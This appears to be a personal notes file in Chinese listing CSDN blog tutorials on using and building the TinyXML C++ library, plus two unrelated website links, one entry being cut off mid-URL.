一个例子:https://blog.csdn.net/woniu211111/article/details/76445059
TinyXml库 使用方法: https://blog.csdn.net/qq_26374395/article/details/80171906
使用TinyXML读写xml文件: https://blog.csdn.net/lgstudyvc/article/details/77859919
TinyXml快速入门: https://blog.csdn.net/qq_38022972/article/details/82221898
TinyXml入门简易教程: https://blog.csdn.net/qq_24571549/article/details/70980125
-------------------------------------------------------------------------------------------------
配置使用过程:
1. tinyxml在windows环境下编译:https://blog.
http://www.riaway.com/index.php
http://color-themes.com/?view=index